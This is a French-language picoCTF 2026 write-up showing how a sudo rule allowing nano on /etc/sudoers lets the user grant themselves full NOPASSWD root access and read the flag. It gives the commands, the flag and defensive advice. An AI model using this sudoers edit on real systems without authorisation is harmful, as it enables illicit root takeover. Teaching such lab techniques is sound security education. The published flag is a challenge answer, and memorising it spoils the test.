

picoCTF 2026 · General Skills

(Escalade de privilèges via sudoers + nano)

Flag : `picoCTF{n4n0_411_7h3_w4y_dd490b88}`

🔗 Résumé de la faille

Un utilisateur a le droit d'exécuter `nano` en `sudo` sur un fichier précis, `/etc/sudoers` — le fichier qui définit justement qui a le droit de faire quoi en `sudo`. Comme `sudo` donne un accès complet en **écriture** au fichier via l'éditeur, il est possible de **modifier ses propres droits sudo directement**, en éditant ce fichier pour s'accorder un accès total (`ALL`).

Concept : donner un accès `sudo` à un éditeur de texte sur un fichier sensible équivalait à donner un accès root complet — l'outil (nano) est inoffensif en apparence, mais le fichier ciblé (`/etc/sudoers`) rend la permission extrêmement dangereuse.

⚡ Méthodo — les étapes

1. Connexion SSH à l'instance

```
ssh -p 55564 ctf-player@crystal-peak.picoctf.net
# mot de passe fourni dans l'énoncé
```

2. Vérifier ses permissions sudo

```
sudo -l
```

Résultat clé :

```
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/nano /etc/sudoers
```

→ L'utilisateur peut lancer `nano` en `sudo`, **sans mot de passe** (`NOPASSWD`), mais **uniquement** sur le fichier `/etc/sudoers`.

3. Reconnaître la faille

`/etc/sudoers` est le fichier qui contrôle **qui a le droit de faire quoi avec sudo** sur le système. Pouvoir l'éditer avec les droits root (même via un éditeur en apparence limité à ce seul fichier) signifie pouvoir **redéfinir ses propres permissions**.

4. Éditer le fichier avec nano (en sudo)

```
sudo /bin/nano /etc/sudoers
```

Modifier la ligne existante :

```
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers
```

en :

```
ctf-player ALL=(ALL) NOPASSWD: ALL
```

(remplacer la restriction `/bin/nano /etc/sudoers` par `ALL`, donnant un accès sudo total sans mot de passe sur toutes les commandes)

Sauvegarder et quitter nano (`Ctrl+X`, confirmer l'écrasement du fichier).

5. Exploiter le nouvel accès sudo complet

```
sudo cat flag.txt
```

→ `picoCTF{n4n0_411_7h3_w4y_dd490b88}` 🏆

🔍 Pourquoi c'est une faille critique (GTFOBins)

Ce type de vulnérabilité — un binaire autorisé en `sudo` qui permet indirectement une élévation de privilèges — est une catégorie bien connue en pentest, documentée sur le site **GTFOBins** (gtfobins.github.io), qui répertorie les binaires Unix courants (nano, vim, find, less, cp...) et comment ils peuvent être détournés pour obtenir un shell root ou lire/écrire des fichiers arbitraires quand ils sont autorisés en sudo.

Dans ce challenge précis, la faille est encore plus directe : ce n'est pas juste "nano permet d'exécuter des commandes", c'est que la **cible même de l'édition autorisée** (`/etc/sudoers`) est le fichier de contrôle des permissions — donc éditer = redéfinir ses propres droits.

📁 Commandes utilisées

Commande	Rôle
<code>sudo -l</code>	Lister les commandes autorisées en sudo pour l'utilisateur courant
<code>sudo /bin/nano /etc/sudoers</code>	Éditer le fichier de permissions avec les droits root
<code>sudo cat flag.txt</code>	Lire le flag une fois les droits sudo étendus

✓ Réflexes à retenir

- `sudo -l` est le premier réflexe dès qu'on obtient un accès à une machine Linux — ça révèle immédiatement les pistes d'escalade de privilèges les plus simples.
- Un accès `sudo` restreint à un **éditeur de texte** sur un fichier sensible (`/etc/sudoers` , `/etc/passwd` , un script exécuté par root...) équivaut souvent à un accès root complet, même si la commande semble anodine.
- Réflexe à généraliser : **toute commande autorisée en sudo doit être évaluée pour ce qu'elle permet de FAIRE**, pas juste pour ce qu'elle semble être — vérifier sur GTFOBins si un binaire autorisé en sudo a un détournement connu.

🔧 Dans la vraie vie

Ce pattern (droits sudo mal restreints, notamment sur des fichiers de configuration sensibles ou des éditeurs) est une cause fréquente d'escalade de privilèges lors de vrais audits de sécurité Linux. La bonne pratique : ne jamais accorder de `sudo` sur un éditeur de texte généraliste, même restreint à "un seul fichier" — préférer des outils dédiés avec des permissions fines (comme `visudo` avec des contrôles stricts), ou des scripts wrapper qui limitent précisément les actions possibles plutôt qu'un éditeur complet.